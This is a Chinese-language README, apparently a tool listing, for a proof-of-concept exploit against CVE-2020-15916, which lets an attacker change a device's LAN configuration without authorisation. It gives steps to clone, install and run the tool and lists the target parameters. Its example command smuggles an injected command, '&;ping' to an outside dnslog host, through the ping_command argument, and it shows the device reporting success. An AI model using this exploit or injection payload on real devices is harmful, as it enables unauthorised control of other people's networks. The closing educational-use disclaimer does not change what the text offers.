英文

GenLANConfigAttack - 是一个针对 CVE-2020-15916 漏洞的概念验证工具，该漏洞允许未经授权更改设备的 LAN 配置。

功能特点

• 利用 LAN 配置漏洞
• 发送恶意有效载荷以更改网络设置
• 绕过安全机制以获取对 LAN 的控制权

使用方法

1. 克隆此仓库：
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. 安装依赖：
   root@kitploit:~

   pip install -r requirements.txt
   

3. 运行漏洞利用程序：
   root@kitploit:~

   python GenLANConfigAttack.py
   

参数

• target_ip: 目标设备的 IP 地址。
• ping_command: 在目标设备上执行的命令。
• session_password: 会话访问密码。

示例

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[来自 192.168.0.1 的响应]: 
{"success":true,"message":"LAN IP 配置已成功更新"}

CVE 参考

此概念验证针对 CVE-2020-15916 漏洞，该漏洞通过利用弱身份验证机制，允许攻击者更改易受攻击设备的 LAN 配置。

免责声明

此工具仅用于教育目的。请负责任地使用，并仅在获得明确许可的环境中使用。